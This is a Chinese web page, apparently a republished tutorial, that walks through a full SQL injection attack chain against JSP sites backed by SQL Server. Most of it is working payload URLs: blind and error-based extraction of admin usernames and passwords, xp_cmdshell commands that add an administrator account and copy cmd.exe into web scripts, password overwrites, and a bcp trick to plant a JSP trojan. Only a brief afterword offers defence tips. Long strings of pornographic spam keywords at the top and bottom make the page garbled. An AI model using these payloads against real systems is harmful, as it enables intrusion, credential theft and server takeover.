亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 數(shù)據(jù)庫 > SQL Server > 正文

sql注入過程詳解_動力節(jié)點Java學(xué)院整理

2024-08-31 01:05:03
字體:
供稿:網(wǎng)友

SQL注入攻擊的總體思路是:

1.發(fā)現(xiàn)SQL注入位置;
2.判斷后臺數(shù)據(jù)庫類型;
3.確定XP_CMDSHELL可執(zhí)行情況
4.發(fā)現(xiàn)WEB虛擬目錄
5. 上傳JSP木馬;
6.得到管理員權(quán)限;

一、SQL注入漏洞的判斷

一般來說,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.jsp?id=XX等帶有參數(shù)的jsp或者動態(tài)網(wǎng)頁中,有時一個動態(tài)網(wǎng)頁中可能只有一個參數(shù),有時可能有N個參數(shù),有時是整型參數(shù),有時是字符串型參數(shù),不能一概而論。總之只要是帶有參數(shù)的動態(tài)網(wǎng)頁且此網(wǎng)頁訪問了數(shù)據(jù)庫,那么就有可能存在SQL注入。如果程序員沒有安全意識,不進行必要的字符過濾,存在SQL注入的可能性就非常大。
為了全面了解動態(tài)網(wǎng)頁回答的信息,首選請調(diào)整IE的配置。把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。

為了把問題說明清楚,以下以HTTP://xxx.xxx.xxx/abc.jsp?p=YY為例進行分析,YY可能是整型,也有可能是字符串。

1、整型參數(shù)的判斷

當(dāng)輸入的參數(shù)YY為整型時,通常abc.jsp中SQL語句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步驟測試SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.jsp?p=YY'(附加一個單引號),此時abc.JSP中的SQL語句變成了
select * from 表名 where 字段=YY',abc.jsp運行異常;
②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=1, abc.jsp運行正常,而且與HTTP://xxx.xxx.xxx/abc.jsp?p=YY運行結(jié)果相同;
③HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=2, abc.jsp運行異常;
如果以上三步全面滿足,abc.jsp中一定存在SQL注入漏洞。

2、特殊情況的處理

有時JSP程序員會在程序員過濾掉單引號等字符,以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法:由于VBS并不區(qū)分大小寫,而程序員在過濾時通常要么全部過濾大寫字符串,要么全部過濾小寫字符串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集實現(xiàn)國際化,我們完全可以IE中輸入的字符串化成UNICODE字符串進行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見附件一;
③ASCII碼法:可以把輸入的部分或全部字符全部用ASCII碼代替,如U=chr(85),a=chr(97)等,ASCII信息參見附二;

二、區(qū)分數(shù)據(jù)庫服務(wù)器類型

一般來說,mysql是最常用的數(shù)據(jù)庫服務(wù)器,盡管它們都支持T-SQL標(biāo)準(zhǔn),但還有不同之處,而且不同的數(shù)據(jù)庫有不同的攻擊方法,必須要區(qū)別對待。

1、 利用數(shù)據(jù)庫服務(wù)器的系統(tǒng)變量進行區(qū)分

SQL-SERVER有user,db_name()等系統(tǒng)變量,利用這些系統(tǒng)值不僅可以判斷SQL-SERVER,而且還可以得到大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.jsp?p=YY and user>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前連接到數(shù)據(jù)庫的用戶名
②HTTP://xxx.xxx.xxx/abc.jsp?p=YY&n ... db_name()>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前正在使用的數(shù)據(jù)庫名;

2、利用系統(tǒng)表

ACCESS的系統(tǒng)表是msysobjects,且在WEB環(huán)境下沒有訪問權(quán)限,而SQL-SERVER的系統(tǒng)表是sysobjects,在WEB環(huán)境下有訪問權(quán)限。對于以下兩條語句:
①HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from msysobjects)>0
若數(shù)據(jù)庫是SQL-SERVE,則第一條,abc.jsp一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。

3、 MSSQL三個關(guān)鍵系統(tǒng)表

sysdatabases系統(tǒng)表:Microsoft SQL Server 上的每個數(shù)據(jù)庫在表中占一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數(shù)據(jù)庫的項。該表只存儲在 master 數(shù)據(jù)庫中。 這個表保存在master數(shù)據(jù)庫中,這個表中保存的是什么信息呢?這個非常重要。他是 保存了所有的庫名,以及庫的ID和一些相關(guān)信息。 

這里我把對于我們有用的字段名稱和相關(guān)說明給大家列出來。name //表示庫的名字。

dbid //表示庫的ID,dbid從1到5是系統(tǒng)的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫。用select * from master.dbo.sysdatabases 就可以查詢出所有的庫名。

Sysobjects:SQL-SERVER的每個數(shù)據(jù)庫內(nèi)都有此系統(tǒng)表,它存放該數(shù)據(jù)庫內(nèi)創(chuàng)建的所有對象,如約束、默認值、日志、規(guī)則、存儲過程等,每個對象在表中占一行。以下是此系統(tǒng)表的字段名稱和相關(guān)說明。

Name,id,xtype,uid,status:分別是對象名,對象ID,對象類型,所有者對象的用戶ID,對象狀態(tài)。
對象類型(xtype)??梢允窍铝袑ο箢愋椭械囊环N:
C = CHECK 約束 
D = 默認值或 DEFAULT 約束 
F = FOREIGN KEY 約束 
L = 日志 
FN = 標(biāo)量函數(shù) 
IF = 內(nèi)嵌表函數(shù) 
P = 存儲過程 
PK = PRIMARY KEY 約束(類型是 K) 
RF = 復(fù)制篩選存儲過程 
S = 系統(tǒng)表 
TF = 表函數(shù) 
TR = 觸發(fā)器 
U = 用戶表 
UQ = UNIQUE 約束(類型是 K) 
V = 視圖 
X = 擴展存儲過程 

當(dāng)xtype='U' and status>0代表是用戶建立的表,對象名就是表名,對象ID就是表的ID值。

用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出庫ChouYFD中所有的用戶建立的表名。

syscolumns :每個表和視圖中的每列在表中占一行,存儲過程中的每個參數(shù)在表中也占一行。該表位于每個數(shù)據(jù)庫中。主要字段有: name ,id, colid :分別是字段名稱,表ID號,字段ID號,其中的 ID 是 剛上我們用sysobjects得到的表的ID號。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有字段列表。

三、確定XP_CMDSHELL可執(zhí)行情況

若當(dāng)前連接數(shù)據(jù)的帳號具有SA權(quán)限,且master.dbo.xp_cmdshell擴展存儲過程(調(diào)用此存儲過程可以直接使用操作系統(tǒng)的shell)能夠正確執(zhí)行,則整個計算機可以通過以下幾種方法完全控制,以后的所有步驟都可以省
1、HTTP://xxx.xxx.xxx/abc.jsp?p=YY&nb ... er>0 abc.jsp執(zhí)行異常但可以得到當(dāng)前連接數(shù)據(jù)庫的用戶名(若顯示dbo則代表SA)。
2、HTTP://xxx.xxx.xxx/abc.jsp?p=YY ... me()>0 abc.jsp執(zhí)行異常但可以得到當(dāng)前連接的數(shù)據(jù)庫名。
3、HTTP://xxx.xxx.xxx/abc.jsp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主數(shù)據(jù)庫;名中的分號表示SQL-SERVER執(zhí)行完分號前的語句名,繼續(xù)執(zhí)行其后面的語句;“—”號是注解,表示其后面的所有內(nèi)容僅為注釋,系統(tǒng)并不執(zhí)行)可以直接增加操作系統(tǒng)帳戶aaa,密碼為bbb。
4、HTTP://xxx.xxx.xxx/abc.jsp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把剛剛增加的帳戶aaa加到administrators組中。
5、HTTP://xxx.xxx.xxx/abc.jsp?p=YY;backuup database 數(shù)據(jù)庫名 to disk='c:/inetpub/wwwroot/save.db' 則把得到的數(shù)據(jù)內(nèi)容全部備份到WEB目錄下,再用HTTP把此文件下載(當(dāng)然首選要知道WEB虛擬目錄)。
6、通過復(fù)制CMD創(chuàng)建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;exe ... dbo.xp_cmdshell “copy c:/winnt/system32/cmd.exe c:/inetpub/scripts/cmd.exe” 便制造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當(dāng)然首選要知道WEB虛擬目錄)。

四、發(fā)現(xiàn)WEB虛擬目錄

只有找到WEB虛擬目錄,才能確定放置JSP木馬的位置,進而得到USER權(quán)限。有兩種方法比較有效。

一是根據(jù)經(jīng)驗猜解,一般來說,WEB虛擬目錄是:c:/inetpub/wwwroot; D:/inetpub/wwwroot; E:/inetpub/wwwroot等,而可執(zhí)行虛擬目錄是:c:/inetpub/scripts; D:/inetpub/scripts; E:/inetpub/scripts等。

二是遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)果并發(fā)現(xiàn)WEB虛擬目錄;

先創(chuàng)建一個臨時表:temp
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

接下來:

(1)我們可以利用xp_availablemedia來獲得當(dāng)前所有驅(qū)動器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
我們可以通過查詢temp的內(nèi)容來獲得驅(qū)動器列表及相關(guān)信息

(2)我們可以利用xp_subdirs獲得子目錄列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:/';--

(3)我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 
這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:
如果我們需要查看某個文件的內(nèi)容,可以通過執(zhí)行xp_cmdsell:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id) exec ... nbsp;'type c:/web/index.jsp';--
使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from 'c:/inetpub/wwwroot/index.jsp' 
瀏覽temp就可以看到index.jsp文件的內(nèi)容了!通過分析各種JSP文件,可以得到大量系統(tǒng)信息,WEB建設(shè)與管理信息,甚至可以得到SA帳號的連接密碼。
當(dāng)然,如果xp_cmshell能夠執(zhí)行,我們可以用它來完成:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id)&nbs ... cmdshell 'dir c:/';--
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id)&n ... p_cmdshell 'dir c:/ *.jsp /s/a';--
通過xp_cmdshell我們可以看到所有想看到的,包括W3svc
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ub/AdminScripts/adsutil.vbs enum w3svc'
但是,如果不是SA權(quán)限,我們還可以使用
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--

注意:

1、以上每完成一項瀏覽后,應(yīng)刪除TEMP中的所有內(nèi)容,刪除方法是:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;delete from temp;--
2、瀏覽TEMP表的方法是:(假設(shè)TestDB是當(dāng)前連接的數(shù)據(jù)庫名)
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一條記錄id字段的值,并與整數(shù)進行比較,顯然abc.jsp工作異常,但在異常中卻可以發(fā)現(xiàn)id字段的值。假設(shè)發(fā)現(xiàn)的表名是xyz,則
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二條記錄id字段的值。

五、上傳JSP木馬

所謂JSP木馬,就是一段有特殊功能的JSP代碼,并放入WEB虛擬目錄的Scripts下,遠程客戶通過IE就可執(zhí)行它,進而得到系統(tǒng)的USER權(quán)限,實現(xiàn)對系統(tǒng)的初步控制。上傳JSP木馬一般有兩種比較有效的方法:

1、利用WEB的遠程管理功能

許多WEB站點,為了維護的方便,都提供了遠程管理的功能;也有不少WEB站點,其內(nèi)容是對于不同的用戶有不同的訪問權(quán)限。為了達到對用戶權(quán)限的控制,都有一個網(wǎng)頁,要求用戶名與密碼,只有輸入了正確的值,才能進行下一步的操作,可以實現(xiàn)對WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。

因此,若獲取正確的用戶名與密碼,不僅可以上傳JSP木馬,有時甚至能夠直接得到USER權(quán)限而瀏覽系統(tǒng),上一步的“發(fā)現(xiàn)WEB虛擬目錄”的復(fù)雜操作都可省略。

用戶名及密碼一般存放在一張表中,發(fā)現(xiàn)這張表并讀取其中內(nèi)容便解決了問題。以下給出兩種有效方法。

A、 注入法:

從理論上說,認證網(wǎng)頁中會有型如:
select * from admin where username='XXX' and passWord='YYY' 的語句,若在正式運行此句之前,沒有進行必要的字符過濾,則很容易實施SQL注入。
如在用戶名文本框內(nèi)輸入:abc' or 1=1-- 在密碼框內(nèi)輸入:123 則SQL語句變成:
select * from admin where username='abc' or 1=1 and password='123' 不管用戶輸入任何用戶名與密碼,此語句永遠都能正確執(zhí)行,用戶輕易騙過系統(tǒng),獲取合法身份。

B、猜解法:

基本思路是:猜解所有數(shù)據(jù)庫名稱,猜出庫中的每張表名,分析可能是存放用戶名與密碼的表名,猜出表中的每個字段名,猜出表中的每條記錄內(nèi)容。

l 猜解所有數(shù)據(jù)庫名稱

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因為 dbid 的值從1到5,是系統(tǒng)用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1 (name字段是一個字符型的字段和數(shù)字比較會出錯),abc.jsp工作異常,可得到第一個數(shù)據(jù)庫名,同理把DBID分別改成7,8,9,10,11,12…就可得到所有數(shù)據(jù)庫名。
以下假設(shè)得到的數(shù)據(jù)庫名是TestDB。

l 猜解數(shù)據(jù)庫中用戶名表的名稱

猜解法:此方法就是根據(jù)個人的經(jīng)驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.jsp工作正常,否則異常。如此循環(huán),直到猜到系統(tǒng)帳號表的名稱。

讀取法:SQL-SERVER有一個存放系統(tǒng)核心信息的表sysobjects,有關(guān)一個庫的所有表,視圖等信息全部存放在此表中,而且此表可以通過WEB進行訪問。 

當(dāng)xtype='U' and status>0代表是用戶建立的表,發(fā)現(xiàn)并分析每一個用戶建立的表及名稱,便可以得到用戶名表的名稱,基本的實現(xiàn)方法是:

①HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一個用戶建立表的名稱,并與整數(shù)進行比較,顯然abc.jsp工作異常,但在異常中卻可以發(fā)現(xiàn)表的名稱。假設(shè)發(fā)現(xiàn)的表名是xyz,則

②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。
根據(jù)表的名稱,一般可以認定那張表用戶存放用戶名及密碼,以下假設(shè)此表名為Admin。

l 猜解用戶名字段及密碼字段名稱

admin表中一定有一個用戶名字段,也一定有一個密碼字段,只有得到此兩個字段的名稱,才有可能得到此兩字段的內(nèi)容。如何得到它們的名稱呢,同樣有以下兩種方法。

猜解法:此方法就是根據(jù)個人的經(jīng)驗猜字段名,一般來說,用戶名字段的名稱常用:username,name,user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”語句得到表的行數(shù),所以若字段名存在,則abc.jsp工作正常,否則異常。如此循環(huán),直到猜到兩個字段的名稱。
讀取法:基本的實現(xiàn)方法是
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個字段名,當(dāng)與整數(shù)進行比較,顯然abc.jsp工作異常,但在異常中卻可以發(fā)現(xiàn)字段的名稱。把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。

l 猜解用戶名與密碼

猜用戶名與密碼的內(nèi)容最常用也是最有效的方法有:

ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的?;镜乃悸肥窍炔鲁鲎侄蔚拈L度,然后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username為用戶名字段的名稱,admin為表的名稱),若x為某一值i且abc.jsp運行正常時,則i就是第一個用戶名的長度。

如:當(dāng)輸入HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top ... e) from TestDB.dbo.admin)=8時abc.jsp運行正常,則第一個用戶名的長度為8

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長度之間,當(dāng)m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶帳號表的名稱),若n為某一值i且abc.jsp運行正常時,則i對應(yīng)ASCII碼就是用戶名某一位值。

如:當(dāng)輸入

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時abc.jsp運行正常,則用戶名的第三位為P(P的ASCII為80);

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時abc.jsp運行正常,則用戶名的第9位為!(!的ASCII為80);

猜到第一個用戶名及密碼后,同理,可以猜出其他所有用戶名與密碼。注意:有時得到的密碼可能是經(jīng)md5等方式加密后的信息,還需要用專用工具進行脫密?;蛘呦雀钠涿艽a,使用完后再改回來,見下面說明。

簡單法:

猜用戶名用
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一個字段,username是用戶名字段,此時abc.jsp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。

猜用戶密碼:HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時abc.jsp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到表中的所有用戶的密碼。密碼有時是經(jīng)MD5加密的,可以改密碼。

HTTP://xxx.xxx.xxx/abc.jsp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)
用同樣的方法當(dāng)然可把密碼改原來的值。

2、利用表內(nèi)容導(dǎo)成文件功能

SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個JSP木馬,然后用BCP命令導(dǎo)出形成JSP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:/inetpub/wwwroot/runcommand.jsp –c –S localhost –U sa –P foobar ('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個runcommand.jsp的木馬)

六、得到系統(tǒng)的管理員權(quán)限

JSP木馬只有USER權(quán)限,要想獲取對系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。怎么辦?提升權(quán)限的方法有很多種:
上傳木馬,修改開機自動運行的.ini文件(它一重啟,便死定了);
復(fù)制CMD.exe到scripts,人為制造UNICODE漏洞;
下載SAM文件,破解并獲取OS的所有用戶名密碼;
等等,視系統(tǒng)的具體情況而定,可以采取不同的方法。

后記

  正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信國內(nèi)很多中小站點還普遍存在著這樣的漏洞。這里有些個人的不完全建議

        1、代碼要對輸入的參數(shù)做到充分的過濾,并盡可能得考慮極端情況
  2、錯誤信息盡可能的少,否則無關(guān)的人看不懂而有心的人就會提起興趣
  3、不要以管理員的身份運行服務(wù)器進程
  4、某些情況下,net 命令對于攻擊者而言就是“微軟牌”的木馬
  5、嚴(yán)格控制遠程登錄訪問者的來源
  6、如果可能的情況下,不是很推薦使用 Windows 作為服務(wù)器操作系統(tǒng)

以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持VeVb武林網(wǎng)。


注:相關(guān)教程知識閱讀請移步到MSSQL教程頻道。
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
欧洲在线视频| 亚洲国产成人精品女人| 色哟哟视频在线| 99porn视频在线| 少妇精69xxtheporn| 国产精品无码专区av在线播放| 日韩图片一区| 娇小11一12╳yⅹ╳毛片| 一区二区三区在线视频免费| 性欧美videosex高清少妇| 4480yy私人影院高清不卡| 91在线九色porny| 夜夜嗨aⅴ免费视频| 久久精品视频一| 丰满少妇在线观看资源站| 久草在线综合| wwwjizzjizzcom| 亚洲免费视频一区二区| 欧美劲爆第一页| 国产成人97精品免费看片| 欧美videosex性极品hd| 黑人狂躁日本娇小| 一区二区视频观看| 亚洲bt天天射| av手机免费观看| 国产精品二区二区三区| 欧美一区三区三区高中清蜜桃| 亚洲精品国产熟女久久久| 美女福利视频一区| 欧美大波大乳巨大乳| 三级在线观看免费大全| 成人精品国产亚洲| 日本熟妇人妻中出| 在线电影欧美成精品| 久草在线视频精品| 日本h片在线看| 国产目拍亚洲精品99久久精品| 99久久er热在这里只有精品15| 精品国产一区二区三区久久久蜜月| 中文字幕一区二区三区中文字幕| 影音先锋在线一区| 日韩在线不卡一区| 久久久久久久久久久视频| 国产一区二区三区免费观看| 日本伦理一区二区三区| 9191国产视频| 亚洲一区黄色| 国产一区二中文字幕在线看| 男人打飞机网站| 欧美性视频在线播放| 久久福利视频一区二区| 91porn在线观看| 黄色网页在线| 99高清视频有精品视频| 懂色av中文一区二区三区天美| 国产后进白嫩翘臀在线观看视频| 欧美成人免费在线| 亚洲 欧美 日韩系列| 大尺度做爰床戏呻吟舒畅| 国产主播第一页| av一区二区三| 免费一级欧美在线大片| 亚洲精品中文字幕乱码三区| 婷婷在线视频观看| 日韩电影网站| 亚洲精品tv| 自拍亚洲一区| 国产在线视频第一页| 日本高清成人免费播放| 国产99久久久| 曰本女人与公拘交酡| 日本视频www色| 猫咪av在线| 精品无码免费视频| 91精品尤物| 97在线看福利| 国产黄色片av| 色www永久免费视频首页在线| 青青草免费观看免费视频在线| 黄毛片在线观看| 亚洲成av人影院在线观看| 亚洲女同中文字幕| 亚洲国产精久久久久久| av成人免费网站| 国产盗摄精品一区二区酒店| 91欧美精品午夜性色福利在线| 日韩一区二区三区免费| 精品人妻一区二区三区日产| 性高潮免费视频| 日韩在线播放一区| 国产精品进线69影院| 阿v天堂2018| 欧美国产综合| 亚洲国产av一区二区三区| 亚洲成人久久影院| 欧美日韩在线成人| ckplayer中文字幕| 全部孕妇毛片丰满孕妇孕交| 精品一区二区三区的国产在线播放| 欧美伦理影院| 在线视频欧美日韩精品| 777精品视频| 欧美一级搡bbbb搡bbbb| 亚洲精品丝袜日韩| 嫩草影院永久一二三入口| 欧美午夜精品| 成人国产电影在线观看| 免费成人三级| 国产黄在线看| 五月天婷婷综合网| 男人天堂av网| 一区二区精品| 亚洲无码精品国产| 精品久久久久久久久久久久包黑料| 国产精品wwwww| 按摩亚洲人久久| 四虎成人永久免费视频| 亚洲精品国产无套在线观| 综合在线亚洲| 我要看黄色一级片| 精品国内自产拍在线观看视频| 国内精品久久久久久久果冻传媒| 51蜜桃传媒精品一区二区| 最新精品国产| 一本色道久久综合亚洲精品不卡| 亚洲欧美在线免费| 久久丫精品忘忧草西安产品| 成人免费在线网址| 亚洲国产欧美日韩在线观看第一区| 日本一区二区三区视频在线播放| 在线看成人av| 日韩欧美色综合| 国产一区免费在线| 色视频免费在线观看| 麻豆精品视频在线原创| 久久精品久久99精品久久| 国产欧美一区二区三区另类精品| 欧美日韩国产一区二区三区| 国产av国片精品| 国产精品久久久久久久久久久久久| 欧美四级剧情无删版影片| 亚洲高清在线一区| 欧美丰满少妇xxxxx做受| 天天做天天爱天天爽| 男人插曲女人视频免费| 亚洲美女色播| 久久精品精品电影网| 国产亚洲成aⅴ人片在线观看| 亚洲国产合集| 亚洲av毛片基地| 欧美三级电影网站| 天天看片中文字幕| 白嫩少妇丰满一区二区| 久久精品国产久精国产一老狼| 91久久精品一区二区| 欧美成人国产精品一区二区| 国产精品无码专区av在线播放| 全亚洲最色的网站在线观看| 久久精品日韩欧美| 国产真实乱人偷精品人妻| 午夜精品久久久久久不卡8050| 日韩欧美网站| www.中文字幕av| 青青草视频在线免费直播| 亚洲国产精品精华液ab| 国产69精品久久777的优势| 欧美韩国一区| 久草在线视频资源| 99精品欧美一区二区三区| 亚洲小说欧美另类社区| 四虎影视成人永久免费观看视频| 五月天精品视频| 丝袜美腿亚洲一区二区| 欧美色图中文字幕| 国产美女扒开尿口久久久| 一区二区三区四区五区在线| 亚洲精品v日韩精品| 国产精品久久久久影视| 日韩在线无毛| 91精品久久久久久久久久久久| 国卡一卡二卡三免费网站| 亚洲乱码av中文一区二区| 国产精品成人aaaaa网站| 日韩三级一区| 青青青在线免费观看| 妺妺窝人体色777777| 夜夜夜夜夜夜操| 国产欧美精品一区二区三区| 日韩一区二区高清| 国产人妖一区二区| 久久国产在线视频| 国产精品老牛影院在线观看| 手机看片福利视频| 国产成人自拍高清视频在线免费播放| 97久久精品视频| 亚洲国产日韩综合久久精品| 欧美暴力调教| 欧美精品一区二区三区在线看午夜| 亚洲视频 中文字幕| 在线观看国产福利| 97久久人国产精品婷婷| 日本免费一区视频| 一级毛片高清视频| 91亚洲永久免费精品| 羞羞视频立即看| 色丁香婷婷综合久久| 免费a级毛片永久免费| 在线视频中文字幕久| 午夜三级在线观看| 国产毛片久久久久久国产毛片| 欧美一级在线播放| 亚州欧美精品suv| 国产又粗又猛又爽又黄的视频一| 国产精品久久久久久久久久久久| 国产裸体无遮挡| www高清在线视频日韩欧美| 亚洲av无码成人精品区| 亚洲成人久久电影| 无人日本免费视频| 日本一区二区电影| 久久综合久久综合这里只有精品| 美女福利视频在线观看| 亚洲福利一二三区| 亚洲一区二区在线视频| 日本久久久a级免费| 成人xxx免费视频播放| 中文字幕+乱码+中文乱码www| 欧美一级淫片a免费视频| 波多野结衣在线观看一区| 国产欧美成人| 一区二区三区四区高清精品免费观看| 久久午夜鲁丝片| 国偷自拍第113页| 香蕉在线观看视频| 被男人吃奶添下面好舒服动态图| 欧美jjzz| 午夜国产欧美理论在线播放| 自拍偷拍第八页| 国产66精品久久久久999小说| 波多野结衣手机在线视频| 亚洲精品免费在线观看视频| heyzo高清在线| 欧美人与禽zoz0善交| 久久99精品国产麻豆不卡| 92国产在线视频| 一级片a一级片| 岛国精品在线播放| 香蕉视频在线观看www| 黄色毛片在线观看| 免费在线观看av网址| 成年人看的免费视频| 污的网站在线观看| **性色生活片久久毛片| 欧美最猛性xxxx免费| 欧美伊人久久久久久久久影院| 午夜精品久久久久久久99热黄桃| 色播五月综合网| 91精品国产综合久久精品app| 中文字幕一区二区三区波野结| 最新国产成人在线观看| 蜜桃久久久久| 日韩综合在线视频| 欧美亚洲一级片| 精品制服美女久久| 高清亚洲成在人网站天堂| 黄色av网站在线| 国产成人在线视频网址| 精品乱码一区二区三四区视频| 免费成人在线看| 欧洲午夜精品| 欧美三区视频| 日本在线视频不卡| 国产男女激情视频| 日韩久久午夜影院| 久久久久久久极品内射| 久久成年人免费电影| 亚洲成人黄色影院| 久久精品福利视频| 精品中文字幕在线2019| 5g影院5g天天爽永久免费影院| 欧美日韩亚洲一区二| 国产一区二区三区中文| 中文字幕在线视频一区| 久久久久久久久久久久久久av| 亚洲伊人影院| 日韩激情一区| 国产 福利 在线| 99视频精品全部免费在线| 欧美1级片网站| 最近中文字幕在线中文视频| 久久精品成人欧美大片| 亚洲男人天堂一区| 日本欧美久久久久免费播放网| 97久久超碰国产精品电影| 欧美r级电影| 福利成人导航| 亚洲大片一区二区三区| 国产视频精品久久| 福利地址发布页| 欧美性受xxxx黑人猛交88| 交换做爰国语对白| 400部精品国偷自产在线观看| 国产最新视频在线观看| 国产精品美女高潮无套| 污污的视频网站在线观看| 91gao视频| 肉丝美足丝袜一区二区三区四| 亚洲美女av在线播放| 艳妇乳肉豪妇荡乳xxx| 久久99精品久久久久久青青91| 亚洲图片你懂的| 日韩精品极品视频在线观看免费| 国产午夜精品理论片在线| 中文字幕一区二区人妻痴汉电车| 